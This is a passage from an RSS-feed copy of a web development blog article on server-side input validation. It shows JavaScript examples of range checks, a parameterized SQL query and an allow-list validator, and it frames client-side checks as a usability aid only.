&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;projectLimit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;limit&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isInteger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;projectLimit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
  &lt;span class="nx"&gt;projectLimit&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
  &lt;span class="nx"&gt;projectLimit&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid project limit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the server knows that the value must be an integer between 1 and 100.&lt;/p&gt;

&lt;p&gt;A client cannot simply send:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;limit=999999999
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and expect the server to accept it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Validation is only one layer
&lt;/h2&gt;

&lt;p&gt;Server side validation does not replace other security controls.&lt;/p&gt;

&lt;p&gt;Applications still need things such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Parameterized database queries&lt;/li&gt;
&lt;li&gt;Output encoding&lt;/li&gt;
&lt;li&gt;Authentication&lt;/li&gt;
&lt;li&gt;Authorization&lt;/li&gt;
&lt;li&gt;Secure file handling&lt;/li&gt;
&lt;li&gt;Rate limiting&lt;/li&gt;
&lt;li&gt;Appropriate error handling&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, imagine a database lookup for a project.&lt;/p&gt;

&lt;p&gt;Instead of constructing a SQL query manually, the application should use a parameterized query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;projectName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projectName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SELECT * FROM projects WHERE name = ?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;projectName&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Input validation is useful here, but parameterized queries are still the proper defense against SQL injection.&lt;/p&gt;

&lt;p&gt;Security controls work best in layers.&lt;/p&gt;

&lt;h2&gt;
  
  
  A simple example
&lt;/h2&gt;

&lt;p&gt;A basic server side validation flow might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;validateProject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;string&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Project name must be a string&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid project name length&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;allowedLanguages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;JavaScript&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;TypeScript&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Python&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;];&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;allowedLanguages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;language&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Unsupported language&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;project&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293-json-formatter&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;language&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;JavaScript&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nf"&gt;validateProject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The client may perform similar checks before sending the request.&lt;/p&gt;

&lt;p&gt;The server should still perform them again.&lt;/p&gt;

&lt;h2&gt;
  
  
  The simple rule
&lt;/h2&gt;

&lt;p&gt;A useful rule is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Never trust the client.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Client side validation improves usability.&lt;/p&gt;

&lt;p&gt;Server side validation protects the application.&lt;/p&gt;

&lt;p&gt;The browser can help users submit the right data, but the server has to decide whether that data is actually acceptable.&lt;/p&gt;

&lt;p&gt;Keeping that distinction clear is one of the fundamentals of secure web development.&lt;/p&gt;

</description>
      <category>backend</category>
      <category>security</category>
      <category>webdev</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
